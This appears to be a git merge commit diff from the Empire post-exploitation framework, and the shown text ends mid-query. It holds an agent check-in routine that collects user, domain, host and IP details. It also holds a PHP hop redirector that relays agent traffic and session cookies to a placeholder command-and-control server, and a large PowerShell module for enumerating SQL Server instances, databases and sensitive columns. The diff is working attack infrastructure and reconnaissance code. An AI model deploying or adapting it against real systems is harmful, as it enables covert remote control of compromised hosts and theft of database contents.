Merge branch 'EmpireProject-2.0_beta' into 2.0_beta
commit
4340a6679e
|
@ -10,6 +10,8 @@ Empire is developed by [@harmj0y](https://twitter.com/harmj0y), [@sixdub](https:
|
||||||
|
|
||||||
Feel free to join us on Slack! http://adaptiveempire.herokuapp.com/
|
Feel free to join us on Slack! http://adaptiveempire.herokuapp.com/
|
||||||
|
|
||||||
|
Feel free to join us on Slack! http://adaptiveempire.herokuapp.com/
|
||||||
|
|
||||||
## Contribution Rules
|
## Contribution Rules
|
||||||
|
|
||||||
Contributions are more than welcome! The more people who contribute to the project the better Empire will be for everyone. Below are a few guidelines for submitting contributions.
|
Contributions are more than welcome! The more people who contribute to the project the better Empire will be for everyone. Below are a few guidelines for submitting contributions.
|
||||||
|
|
|
@ -222,7 +222,7 @@ function Invoke-Empire {
|
||||||
$str += '|' + [Environment]::UserDomainName+'|'+[Environment]::UserName+'|'+[Environment]::MachineName;
|
$str += '|' + [Environment]::UserDomainName+'|'+[Environment]::UserName+'|'+[Environment]::MachineName;
|
||||||
$p = (Get-WmiObject Win32_NetworkAdapterConfiguration|Where{$_.IPAddress}|Select -Expand IPAddress);
|
$p = (Get-WmiObject Win32_NetworkAdapterConfiguration|Where{$_.IPAddress}|Select -Expand IPAddress);
|
||||||
$ip = @{$true=$p[0];$false=$p}[$p.Length -lt 6];
|
$ip = @{$true=$p[0];$false=$p}[$p.Length -lt 6];
|
||||||
if(!$ip -or $ip.trim() -eq '') {$ip='0.0.0.0'};
|
#if(!$ip -or $ip.trim() -eq '') {$ip='0.0.0.0'};
|
||||||
$str+="|$ip"
|
$str+="|$ip"
|
||||||
|
|
||||||
$str += '|' +(Get-WmiObject Win32_OperatingSystem).Name.split('|')[0];
|
$str += '|' +(Get-WmiObject Win32_OperatingSystem).Name.split('|')[0];
|
||||||
|
|
Binary file not shown.
Binary file not shown.
|
@ -1,18 +1,22 @@
|
||||||
<?php
|
<?php
|
||||||
|
|
||||||
$server = rtrim("REPLACE_SERVER", '/');
|
$server = rtrim("REPLACE_SERVER", '/');
|
||||||
|
$hopName = "REPLACE_HOP_NAME";
|
||||||
|
|
||||||
|
|
||||||
function do_get_request($url, $optionalHeaders = null)
|
function do_get_request($url, $optionalHeaders = null)
|
||||||
{
|
{
|
||||||
|
global $hopName;
|
||||||
$aContext = array(
|
$aContext = array(
|
||||||
'http' => array(
|
'http' => array(
|
||||||
'method' => 'GET'
|
'method' => 'GET'
|
||||||
),
|
),
|
||||||
);
|
);
|
||||||
|
$headers = array('Hop-Name' => $hopName);
|
||||||
if ($optionalHeaders !== null) {
|
if ($optionalHeaders !== null) {
|
||||||
$aContext['http']['header'] = $optionalHeaders;
|
$headers['Cookie'] = $optionalHeaders;
|
||||||
}
|
}
|
||||||
|
$aContext['http']['header'] = prepareHeaders($headers);
|
||||||
$cxContext = stream_context_create($aContext);
|
$cxContext = stream_context_create($aContext);
|
||||||
echo file_get_contents($url, False, $cxContext);
|
echo file_get_contents($url, False, $cxContext);
|
||||||
}
|
}
|
||||||
|
@ -20,13 +24,16 @@ function do_get_request($url, $optionalHeaders = null)
|
||||||
|
|
||||||
function do_post_request($url, $data, $optionalHeaders = null)
|
function do_post_request($url, $data, $optionalHeaders = null)
|
||||||
{
|
{
|
||||||
|
global $hopName;
|
||||||
$params = array('http' => array(
|
$params = array('http' => array(
|
||||||
'method' => 'POST',
|
'method' => 'POST',
|
||||||
'content' => $data
|
'content' => $data
|
||||||
));
|
));
|
||||||
|
$headers = array('Hop-Name' => $hopName);
|
||||||
if ($optionalHeaders !== null) {
|
if ($optionalHeaders !== null) {
|
||||||
$params['http']['header'] = $optionalHeaders;
|
$headers['Cookie'] = $optionalHeaders;
|
||||||
}
|
}
|
||||||
|
$params['http']['header'] = prepareHeaders($headers);
|
||||||
$ctx = stream_context_create($params);
|
$ctx = stream_context_create($params);
|
||||||
$fp = @fopen($url, 'rb', false, $ctx);
|
$fp = @fopen($url, 'rb', false, $ctx);
|
||||||
if (!$fp) {
|
if (!$fp) {
|
||||||
|
@ -39,11 +46,24 @@ function do_post_request($url, $data, $optionalHeaders = null)
|
||||||
echo $response;
|
echo $response;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
function prepareHeaders($headers) {
|
||||||
|
$flattened = array();
|
||||||
|
|
||||||
|
foreach ($headers as $key => $header) {
|
||||||
|
if (is_int($key)) {
|
||||||
|
$flattened[] = $header;
|
||||||
|
} else {
|
||||||
|
$flattened[] = $key.': '.$header;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return implode("\r\n", $flattened);
|
||||||
|
}
|
||||||
|
|
||||||
if ($_SERVER['REQUEST_METHOD'] === 'GET') {
|
if ($_SERVER['REQUEST_METHOD'] === 'GET') {
|
||||||
$requestURI = $_SERVER['REQUEST_URI'];
|
$requestURI = $_SERVER['REQUEST_URI'];
|
||||||
if(isset($_COOKIE['session'])) {
|
if(isset($_COOKIE['session'])) {
|
||||||
return do_get_request($server.$requestURI, "Cookie: session=".str_replace(' ', '+', $_COOKIE['session']));
|
return do_get_request($server.$requestURI, "session=".str_replace(' ', '+', $_COOKIE['session']));
|
||||||
}
|
}
|
||||||
else {
|
else {
|
||||||
return do_get_request($server.$requestURI);
|
return do_get_request($server.$requestURI);
|
||||||
|
@ -56,7 +76,7 @@ else {
|
||||||
$postdata = file_get_contents("php://input");
|
$postdata = file_get_contents("php://input");
|
||||||
|
|
||||||
if(isset($_COOKIE['session'])) {
|
if(isset($_COOKIE['session'])) {
|
||||||
return do_post_request($server.$requestURI, $postdata, "Cookie: session=".str_replace(' ', '+', $_COOKIE['session']));
|
return do_post_request($server.$requestURI, $postdata, "session=".str_replace(' ', '+', $_COOKIE['session']));
|
||||||
}
|
}
|
||||||
else {
|
else {
|
||||||
return do_post_request($server.$requestURI, $postdata);
|
return do_post_request($server.$requestURI, $postdata);
|
||||||
|
|
|
@ -1,5 +1,4 @@
|
||||||
from lib.common import helpers
|
from lib.common import helpers
|
||||||
|
|
||||||
class Module:
|
class Module:
|
||||||
|
|
||||||
def __init__(self, mainMenu, params=[]):
|
def __init__(self, mainMenu, params=[]):
|
||||||
|
@ -166,8 +165,8 @@ Invoke-Redirector"""
|
||||||
else:
|
else:
|
||||||
listenerName = values['Value']
|
listenerName = values['Value']
|
||||||
# get the listener options and set them for the script
|
# get the listener options and set them for the script
|
||||||
[ID,name,host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target,default_lost_limit] = self.mainMenu.listeners.get_listener(values['Value'])
|
[Name,Host,Port,CertPath,StagingKey,DefaultDelay,DefaultJitter,DefaultProfile,KillDate,WorkingHours,DefaultLostLimit,BindIP,ServerVersion] = self.mainMenu.listeners.activeListeners[listenerName]['options']
|
||||||
script += " -ConnectHost " + str(host)
|
script += " -ConnectHost " + str(Host)
|
||||||
|
|
||||||
elif option.lower() != "agent":
|
elif option.lower() != "agent":
|
||||||
# check if we're adding this redirector as a pivot listener
|
# check if we're adding this redirector as a pivot listener
|
|
@ -0,0 +1,929 @@
|
||||||
|
Function Get-ComputerNameFromInstance {
|
||||||
|
[CmdletBinding()]
|
||||||
|
Param(
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'SQL Server instance.')]
|
||||||
|
[string]$Instance
|
||||||
|
)
|
||||||
|
If ($Instance){$ComputerName = $Instance.split('\')[0].split(',')[0]}
|
||||||
|
else{$ComputerName = $env:COMPUTERNAME}
|
||||||
|
Return $ComputerName
|
||||||
|
}
|
||||||
|
Function Get-SQLConnectionObject {
|
||||||
|
[CmdletBinding()]
|
||||||
|
Param(
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'SQL Server or domain account to authenticate with.')]
|
||||||
|
[string]$Username,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'SQL Server or domain account password to authenticate with.')]
|
||||||
|
[string]$Password,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'SQL Server instance to connection to.')]
|
||||||
|
[string]$Instance,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'Dedicated Administrator Connection (DAC).')]
|
||||||
|
[Switch]$DAC,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'Default database to connect to.')]
|
||||||
|
[String]$Database,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'Connection timeout.')]
|
||||||
|
[string]$TimeOut = 1
|
||||||
|
)
|
||||||
|
Begin {
|
||||||
|
if($DAC){$DacConn = 'ADMIN:'}else{$DacConn = ''}
|
||||||
|
if(-not $Database){$Database = 'Master'}
|
||||||
|
} Process {
|
||||||
|
if (-not $Instance) { $Instance = $env:COMPUTERNAME }
|
||||||
|
$Connection = New-Object -TypeName System.Data.SqlClient.SqlConnection
|
||||||
|
if(-not $Username) {
|
||||||
|
$AuthenticationType = "Current Windows Credentials"
|
||||||
|
$Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;Integrated Security=SSPI;Connection Timeout=1"
|
||||||
|
}
|
||||||
|
elseif ($username -like "*\*") {
|
||||||
|
$AuthenticationType = "Provided Windows Credentials"
|
||||||
|
$Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;Integrated Security=SSPI;uid=$Username;pwd=$Password;Connection Timeout=$TimeOut"
|
||||||
|
}
|
||||||
|
elseif (($username) -and ($username -notlike "*\*")) {
|
||||||
|
$AuthenticationType = "Provided SQL Login"
|
||||||
|
$Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;User ID=$Username;Password=$Password;Connection Timeout=$TimeOut"
|
||||||
|
}
|
||||||
|
return $Connection
|
||||||
|
} End {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
Function Get-SQLConnectionTest {
|
||||||
|
[CmdletBinding()]
|
||||||
|
Param(
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'SQL Server or domain account to authenticate with.')]
|
||||||
|
[string]$Username,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'SQL Server or domain account password to authenticate with.')]
|
||||||
|
[string]$Password,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'SQL Server instance to connection to.')]
|
||||||
|
[string]$Instance,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'Connect using Dedicated Admin Connection.')]
|
||||||
|
[Switch]$DAC,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'Default database to connect to.')]
|
||||||
|
[String]$Database,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'Connection timeout.')]
|
||||||
|
[string]$TimeOut
|
||||||
|
)
|
||||||
|
Begin {
|
||||||
|
$TblResults = New-Object -TypeName System.Data.DataTable
|
||||||
|
$null = $TblResults.Columns.Add('ComputerName')
|
||||||
|
$null = $TblResults.Columns.Add('Instance')
|
||||||
|
$null = $TblResults.Columns.Add('Status')
|
||||||
|
} Process {
|
||||||
|
if(-not $Instance) { $Instance = $env:COMPUTERNAME }
|
||||||
|
$ComputerName = Get-ComputerNameFromInstance -Instance $Instance
|
||||||
|
if($DAC) {
|
||||||
|
$Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -DAC -TimeOut $TimeOut -Database $Database
|
||||||
|
} else {
|
||||||
|
$Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -TimeOut $TimeOut -Database $Database
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
$Connection.Open()
|
||||||
|
$null = $TblResults.Rows.Add("$ComputerName","$Instance",'Accessible')
|
||||||
|
$Connection.Close()
|
||||||
|
$Connection.Dispose()
|
||||||
|
} catch {
|
||||||
|
$ErrorMessage = $_.Exception.Message
|
||||||
|
"$Instance : Connection Failed."
|
||||||
|
"Error: $ErrorMessage"
|
||||||
|
}
|
||||||
|
$null = $TblResults.Rows.Add("$ComputerName","$Instance",'Not Accessible')
|
||||||
|
} End {
|
||||||
|
$TblResults
|
||||||
|
}
|
||||||
|
}
|
||||||
|
Function Get-SQLQuery2 {
|
||||||
|
[CmdletBinding()]
|
||||||
|
Param(
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'SQL Server or domain account to authenticate with.')]
|
||||||
|
[string]$Username,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'SQL Server or domain account password to authenticate with.')]
|
||||||
|
[string]$Password,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'SQL Server instance to connection to.')]
|
||||||
|
[string]$Instance,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'SQL Server query.')]
|
||||||
|
[string]$Query,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'Connect using Dedicated Admin Connection.')]
|
||||||
|
[Switch]$DAC,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'Default database to connect to.')]
|
||||||
|
[String]$Database,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'Connection timeout.')]
|
||||||
|
[int]$TimeOut,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'Return error message if exists.')]
|
||||||
|
[switch]$ReturnError
|
||||||
|
)
|
||||||
|
Begin {
|
||||||
|
$TblQueryResults = New-Object -TypeName System.Data.DataTable
|
||||||
|
} Process {
|
||||||
|
if($DAC){$Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -TimeOut $TimeOut -DAC -Database $Database}
|
||||||
|
else{$Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -TimeOut $TimeOut -Database $Database}
|
||||||
|
$ConnectionString = $Connection.Connectionstring
|
||||||
|
$Instance = $ConnectionString.split(';')[0].split('=')[1]
|
||||||
|
if($Query) {
|
||||||
|
$Connection.Open()
|
||||||
|
"$Instance : Connection Success."
|
||||||
|
$Command = New-Object -TypeName System.Data.SqlClient.SqlCommand -ArgumentList ($Query, $Connection)
|
||||||
|
try {
|
||||||
|
$Results = $Command.ExecuteReader()
|
||||||
|
$TblQueryResults.Load($Results)
|
||||||
|
} catch {
|
||||||
|
#pass
|
||||||
|
}
|
||||||
|
$Connection.Close()
|
||||||
|
$Connection.Dispose()
|
||||||
|
}
|
||||||
|
else{'No query provided to Get-SQLQuery function.';Break}
|
||||||
|
} End {
|
||||||
|
if($ReturnError){$ErrorMessage}
|
||||||
|
else{$TblQueryResults}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
Function Get-SQLQuery {
|
||||||
|
[CmdletBinding()]
|
||||||
|
Param(
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
ValueFromPipelineByPropertyName = $true,
|
||||||
|
HelpMessage = 'SQL Server or domain account to authenticate with.')]
|
||||||
|
[string]$Username,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
ValueFromPipelineByPropertyName = $true,
|
||||||
|
HelpMessage = 'SQL Server or domain account password to authenticate with.')]
|
||||||
|
[string]$Password,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
ValueFromPipelineByPropertyName = $true,
|
||||||
|
HelpMessage = 'SQL Server instance to connection to.')]
|
||||||
|
[string]$Instance,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
ValueFromPipelineByPropertyName = $true,
|
||||||
|
HelpMessage = 'SQL Server query.')]
|
||||||
|
[string]$Query,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'Connect using Dedicated Admin Connection.')]
|
||||||
|
[Switch]$DAC,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'Default database to connect to.')]
|
||||||
|
[String]$Database,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'Connection timeout.')]
|
||||||
|
[int]$TimeOut,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')]
|
||||||
|
[switch]$SuppressVerbose,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'Return error message if exists.')]
|
||||||
|
[switch]$ReturnError
|
||||||
|
)
|
||||||
|
|
||||||
|
Begin {
|
||||||
|
$TblQueryResults = New-Object -TypeName System.Data.DataTable
|
||||||
|
} Process {
|
||||||
|
if($DAC) {
|
||||||
|
$Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -TimeOut $TimeOut -DAC -Database $Database
|
||||||
|
} else {
|
||||||
|
$Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -TimeOut $TimeOut -Database $Database
|
||||||
|
}
|
||||||
|
|
||||||
|
$ConnectionString = $Connection.Connectionstring
|
||||||
|
$Instance = $ConnectionString.split(';')[0].split('=')[1]
|
||||||
|
|
||||||
|
if($Query) {
|
||||||
|
try {
|
||||||
|
$Connection.Open()
|
||||||
|
$Command = New-Object -TypeName System.Data.SqlClient.SqlCommand -ArgumentList ($Query, $Connection)
|
||||||
|
$Results = $Command.ExecuteReader()
|
||||||
|
$TblQueryResults.Load($Results)
|
||||||
|
$Connection.Close()
|
||||||
|
$Connection.Dispose()
|
||||||
|
} catch {
|
||||||
|
#Pass
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
Write-Output -InputObject 'No query provided to Get-SQLQuery function.'
|
||||||
|
Break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
End
|
||||||
|
{
|
||||||
|
$TblQueryResults
|
||||||
|
}
|
||||||
|
}
|
||||||
|
Function Get-SQLColumn {
|
||||||
|
[CmdletBinding()]
|
||||||
|
Param(
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
ValueFromPipelineByPropertyName = $true,
|
||||||
|
HelpMessage = 'SQL Server or domain account to authenticate with.')]
|
||||||
|
[string]$Username,
|
||||||
|
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
ValueFromPipelineByPropertyName = $true,
|
||||||
|
HelpMessage = 'SQL Server or domain account password to authenticate with.')]
|
||||||
|
[string]$Password,
|
||||||
|
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
ValueFromPipelineByPropertyName = $true,
|
||||||
|
HelpMessage = 'SQL Server instance to connection to.')]
|
||||||
|
[string]$Instance,
|
||||||
|
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
ValueFromPipelineByPropertyName = $true,
|
||||||
|
HelpMessage = 'Database name.')]
|
||||||
|
[string]$DatabaseName,
|
||||||
|
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
ValueFromPipelineByPropertyName = $true,
|
||||||
|
HelpMessage = 'Table name.')]
|
||||||
|
[string]$TableName,
|
||||||
|
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
ValueFromPipelineByPropertyName = $true,
|
||||||
|
HelpMessage = 'Filter by exact column name.')]
|
||||||
|
[string]$ColumnName,
|
||||||
|
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
ValueFromPipelineByPropertyName = $true,
|
||||||
|
HelpMessage = 'Column name using wildcards in search. Supports comma seperated list.')]
|
||||||
|
[string]$ColumnNameSearch,
|
||||||
|
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = "Don't select tables from default databases.")]
|
||||||
|
[switch]$NoDefaults,
|
||||||
|
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')]
|
||||||
|
[switch]$SuppressVerbose
|
||||||
|
)
|
||||||
|
|
||||||
|
Begin
|
||||||
|
{
|
||||||
|
# Table for output
|
||||||
|
$TblColumns = New-Object -TypeName System.Data.DataTable
|
||||||
|
|
||||||
|
# Setup table filter
|
||||||
|
if($TableName)
|
||||||
|
{
|
||||||
|
$TableNameFilter = " and TABLE_NAME like '%$TableName%'"
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
$TableNameFilter = ''
|
||||||
|
}
|
||||||
|
|
||||||
|
# Setup column filter
|
||||||
|
if($ColumnName)
|
||||||
|
{
|
||||||
|
$ColumnFilter = " and column_name like '$ColumnName'"
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
$ColumnFilter = ''
|
||||||
|
}
|
||||||
|
|
||||||
|
# Setup column filter
|
||||||
|
if($ColumnNameSearch)
|
||||||
|
{
|
||||||
|
$ColumnSearchFilter = " and column_name like '%$ColumnNameSearch%'"
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
$ColumnSearchFilter = ''
|
||||||
|
}
|
||||||
|
|
||||||
|
# Setup column search filter
|
||||||
|
if($ColumnNameSearch)
|
||||||
|
{
|
||||||
|
$Keywords = $ColumnNameSearch.split(',')
|
||||||
|
|
||||||
|
[int]$i = $Keywords.Count
|
||||||
|
while ($i -gt 0)
|
||||||
|
{
|
||||||
|
$i = $i - 1
|
||||||
|
$Keyword = $Keywords[$i]
|
||||||
|
|
||||||
|
if($i -eq ($Keywords.Count -1))
|
||||||
|
{
|
||||||
|
$ColumnSearchFilter = "and column_name like '%$Keyword%'"
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
$ColumnSearchFilter = $ColumnSearchFilter + " or column_name like '%$Keyword%'"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
Process
|
||||||
|
{
|
||||||
|
# Note: Tables queried by this function typically require sysadmin or DBO privileges.
|
||||||
|
|
||||||
|
# Parse computer name from the instance
|
||||||
|
$ComputerName = Get-ComputerNameFromInstance -Instance $Instance
|
||||||
|
|
||||||
|
# Default connection to local default instance
|
||||||
|
if(-not $Instance)
|
||||||
|
{
|
||||||
|
$Instance = $env:COMPUTERNAME
|
||||||
|
}
|
||||||
|
|
||||||
|
# Test connection to instance
|
||||||
|
$TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password | Where-Object -FilterScript {
|
||||||
|
$_.Status -eq 'Accessible'
|
||||||
|
}
|
||||||
|
if($TestConnection)
|
||||||
|
{
|
||||||
|
if( -not $SuppressVerbose)
|
||||||
|
{
|
||||||
|
Write-Verbose -Message "$Instance : Connection Success."
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
if( -not $SuppressVerbose)
|
||||||
|
{
|
||||||
|
Write-Verbose -Message "$Instance : Connection Failed."
|
||||||
|
}
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
# Setup NoDefault filter
|
||||||
|
if($NoDefaults)
|
||||||
|
{
|
||||||
|
# Get list of databases
|
||||||
|
$TblDatabases = Get-SQLDatabase -Instance $Instance -Username $Username -Password $Password -DatabaseName $DatabaseName -HasAccess -NoDefaults
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
# Get list of databases
|
||||||
|
$TblDatabases = Get-SQLDatabase -Instance $Instance -Username $Username -Password $Password -DatabaseName $DatabaseName -HasAccess
|
||||||
|
}
|
||||||
|
|
||||||
|
# Get tables for each database
|
||||||
|
$TblDatabases |
|
||||||
|
ForEach-Object -Process {
|
||||||
|
# Get database name
|
||||||
|
$DbName = $_.DatabaseName
|
||||||
|
|
||||||
|
# Define Query
|
||||||
|
$Query = " USE $DbName;
|
||||||
|
SELECT '$ComputerName' as [ComputerName],
|
||||||
|
'$Instance' as [Instance],
|
||||||
|
TABLE_CATALOG AS [DatabaseName],
|
||||||
|
TABLE_SCHEMA AS [SchemaName],
|
||||||
|
TABLE_NAME as [TableName],
|
||||||
|
COLUMN_NAME as [ColumnName],
|
||||||
|
DATA_TYPE as [ColumnDataType],
|
||||||
|
CHARACTER_MAXIMUM_LENGTH as [ColumnMaxLength]
|
||||||
|
FROM [$DbName].[INFORMATION_SCHEMA].[COLUMNS] WHERE 1=1
|
||||||
|
$ColumnSearchFilter
|
||||||
|
$ColumnFilter
|
||||||
|
$TableNameFilter
|
||||||
|
ORDER BY TABLE_CATALOG, TABLE_SCHEMA, TABLE_NAME"
|
||||||
|
|
||||||
|
# Execute Query
|
||||||
|
$TblResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password
|
||||||
|
|
||||||
|
# Append results
|
||||||
|
$TblColumns = $TblColumns + $TblResults
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
End
|
||||||
|
{
|
||||||
|
# Return data
|
||||||
|
$TblColumns
|
||||||
|
}
|
||||||
|
}
|
||||||
|
Function Get-SQLDatabase {
|
||||||
|
[CmdletBinding()]
|
||||||
|
Param(
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'SQL Server or domain account to authenticate with.')]
|
||||||
|
[string]$Username,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'SQL Server or domain account password to authenticate with.')]
|
||||||
|
[string]$Password,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
ValueFromPipelineByPropertyName = $true,
|
||||||
|
HelpMessage = 'SQL Server instance to connection to.')]
|
||||||
|
[string]$Instance,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
ValueFromPipeline = $true,
|
||||||
|
ValueFromPipelineByPropertyName = $true,
|
||||||
|
HelpMessage = 'Database name.')]
|
||||||
|
[string]$DatabaseName,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'Only select non default databases.')]
|
||||||
|
[switch]$NoDefaults,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'Only select databases the current user has access to.')]
|
||||||
|
[switch]$HasAccess,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'Only select databases owned by a sysadmin.')]
|
||||||
|
[switch]$SysAdminOnly,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')]
|
||||||
|
[switch]$SuppressVerbose
|
||||||
|
)
|
||||||
|
|
||||||
|
Begin {
|
||||||
|
$TblResults = New-Object -TypeName System.Data.DataTable
|
||||||
|
$TblDatabases = New-Object -TypeName System.Data.DataTable
|
||||||
|
$null = $TblDatabases.Columns.Add('ComputerName')
|
||||||
|
$null = $TblDatabases.Columns.Add('Instance')
|
||||||
|
$null = $TblDatabases.Columns.Add('DatabaseId')
|
||||||
|
$null = $TblDatabases.Columns.Add('DatabaseName')
|
||||||
|
$null = $TblDatabases.Columns.Add('DatabaseOwner')
|
||||||
|
$null = $TblDatabases.Columns.Add('OwnerIsSysadmin')
|
||||||
|
$null = $TblDatabases.Columns.Add('is_trustworthy_on')
|
||||||
|
$null = $TblDatabases.Columns.Add('is_db_chaining_on')
|
||||||
|
$null = $TblDatabases.Columns.Add('is_broker_enabled')
|
||||||
|
$null = $TblDatabases.Columns.Add('is_encrypted')
|
||||||
|
$null = $TblDatabases.Columns.Add('is_read_only')
|
||||||
|
$null = $TblDatabases.Columns.Add('create_date')
|
||||||
|
$null = $TblDatabases.Columns.Add('recovery_model_desc')
|
||||||
|
$null = $TblDatabases.Columns.Add('FileName')
|
||||||
|
$null = $TblDatabases.Columns.Add('DbSizeMb')
|
||||||
|
$null = $TblDatabases.Columns.Add('has_dbaccess')
|
||||||
|
|
||||||
|
if($DatabaseName) {
|
||||||
|
$DatabaseFilter = " and a.name like '$DatabaseName'"
|
||||||
|
} else {
|
||||||
|
$DatabaseFilter = ''
|
||||||
|
}
|
||||||
|
|
||||||
|
if($NoDefaults) {
|
||||||
|
$NoDefaultsFilter = " and a.name not in ('master','tempdb','msdb','model')"
|
||||||
|
} else {
|
||||||
|
$NoDefaultsFilter = ''
|
||||||
|
}
|
||||||
|
|
||||||
|
if($HasAccess) {
|
||||||
|
$HasAccessFilter = ' and HAS_DBACCESS(a.name)=1'
|
||||||
|
} else {
|
||||||
|
$HasAccessFilter = ''
|
||||||
|
}
|
||||||
|
|
||||||
|
if($SysAdminOnly) {
|
||||||
|
$SysAdminOnlyFilter = " and IS_SRVROLEMEMBER('sysadmin',SUSER_SNAME(a.owner_sid))=1"
|
||||||
|
} else {
|
||||||
|
$SysAdminOnlyFilter = ''
|
||||||
|
}
|
||||||
|
} Process {
|
||||||
|
$ComputerName = Get-ComputerNameFromInstance -Instance $Instance
|
||||||
|
|
||||||
|
if(-not $Instance) {
|
||||||
|
$Instance = $env:COMPUTERNAME
|
||||||
|
}
|
||||||
|
|
||||||
|
$TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password | Where-Object -FilterScript {
|
||||||
|
$_.Status -eq 'Accessible'
|
||||||
|
}
|
||||||
|
|
||||||
|
if($TestConnection) {
|
||||||
|
if( -not $SuppressVerbose) {
|
||||||
|
"$Instance : Connection Success."
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
if( -not $SuppressVerbose) {
|
||||||
|
"$Instance : Connection Failed."
|
||||||
|
}
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
$SQLServerInfo = Get-SQLServerInfo -Instance $Instance -Username $Username -Password $Password
|
||||||
|
if($SQLServerInfo.SQLServerVersionNumber) {
|
||||||
|
$SQLVersionShort = $SQLServerInfo.SQLServerVersionNumber.Split('.')[0]
|
||||||
|
}
|
||||||
|
|
||||||
|
$QueryStart = " SELECT '$ComputerName' as [ComputerName],
|
||||||
|
'$Instance' as [Instance],
|
||||||
|
a.database_id as [DatabaseId],
|
||||||
|
a.name as [DatabaseName],
|
||||||
|
SUSER_SNAME(a.owner_sid) as [DatabaseOwner],
|
||||||
